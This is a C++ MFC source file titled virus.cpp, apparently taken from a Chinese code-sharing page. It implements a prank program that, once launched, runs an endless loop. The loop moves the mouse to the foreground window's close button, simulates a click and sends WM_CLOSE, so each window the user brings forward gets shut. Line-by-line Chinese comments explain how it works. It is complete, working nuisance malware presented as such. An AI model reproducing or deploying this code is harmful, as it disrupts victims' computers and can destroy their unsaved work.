📄 virus.cpp
字号:
/*
********************************************************************
** **
*** 程序制作:逍遥忘我 ***
** **
*** QQ:360695670 E-Mail:tbxyww@163.com ***
** **
********************************************************************
*/
#include "stdafx.h"
#include "Virus.h"
#include "VirusDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
BEGIN_MESSAGE_MAP(CVirusApp, CWinApp)
//{{AFX_MSG_MAP(CVirusApp)
//}}AFX_MSG
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()
CVirusApp::CVirusApp()
{
}
CVirusApp theApp;
void GoToWindow();
void GoToWindow() //这个是实现函数
{
POINT pt; //鼠标位置
HWND hWindow; //前台窗口句柄
CRect rc; //窗口矩形
int Flags=0; //一个标志用于判断动作
/* CWindowDC dc(CWnd::GetDesktopWindow());
CBrush *pBrush=CBrush::FromHandle((HBRUSH)GetStockObject(NULL_BRUSH));
dc.SelectObject(pBrush);
CPen pen(PS_SOLID,2,RGB(255,0,0));
dc.SelectObject(&pen); */ //这个和下面的注释如果去掉,那么就可以用红色的矩形标志出要关闭的窗体
while(1) //这里永远是个死循环
{
Flags=0; //这里把动作标志设为0
hWindow = GetForegroundWindow(); //得到当前前台窗口,这个API可以去网上查下
GetWindowRect(hWindow,&rc); //得到窗口的矩形区域,当然是在屏幕内的区域
//dc.Rectangle(rc); //如果上面的注释去掉这里也需要去掉
GetCursorPos(&pt); //得到鼠标位置
if ((pt.x < rc.right-13) || (pt.x > rc.right-7)) //这里判断鼠标横坐标的位置
{
if (pt.x < rc.right-13) //如果在关闭左边,那么往右移动
{
pt.x = (pt.x +4)%(GetSystemMetrics(SM_CXSCREEN)); //这里往右移动,需要注意的是 % 以及后面
} //是为了防止他移动到屏幕外面,具体可以查下这个一般用于随机数控制范围
if (pt.x > rc.right-7) //这里意义和上面一样,只是是向左移动
{
pt.x = (pt.x -4)%(GetSystemMetrics(SM_CXSCREEN));
}
}//横坐标判断结束
if ((pt.y < rc.top+7) || (pt.y > rc.top+13))
{ //以下判断类似
if (pt.y < rc.top+7)
{
pt.y = (pt.y +4)%(GetSystemMetrics(SM_CYSCREEN));
}
if (pt.y > rc.top+13)
{
pt.y = (pt.y -4)%(GetSystemMetrics(SM_CYSCREEN));
}
}//纵坐标判断结束
SetCursorPos(pt.x,pt.y); //改变鼠标位置
if ((pt.x >= rc.right-13) && (pt.x <= rc.right-7)) //如果鼠标在关闭上了,那么Flags为1
{
if ((pt.y >= rc.top+7) && (pt.y <= rc.top+13))
{
Flags=1;
}
}
if (Flags==1) //如果标志为1,那么模拟按下鼠标左键
{
::mouse_event(MOUSEEVENTF_LEFTDOWN,pt.x,pt.y,0,0);
Flags=2; //这里按下后标志改为2
}
if (Flags==2) //如果标志为2那么弹起鼠标左键
{
::mouse_event(MOUSEEVENTF_LEFTUP,pt.x,pt.y,0,0);
::SendMessage(hWindow,WM_CLOSE,0,0); //这里是为了防止万一,所以加上个发送消息,来关闭
Flags=0; //完成后标志为0
}
Sleep(5); //这里停 5 MS 为了防止移动速度过快
}
return;
}
BOOL CVirusApp::InitInstance()
{
AfxEnableControlContainer();
#ifdef _AFXDLL
Enable3dControls();
#else
Enable3dControlsStatic();
#endif
GoToWindow(); //直接调用函数进入
/*这以下在实际运行的时候是不会被执行的*/
CVirusDlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
}
else if (nResponse == IDCANCEL)
{
}
return FALSE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -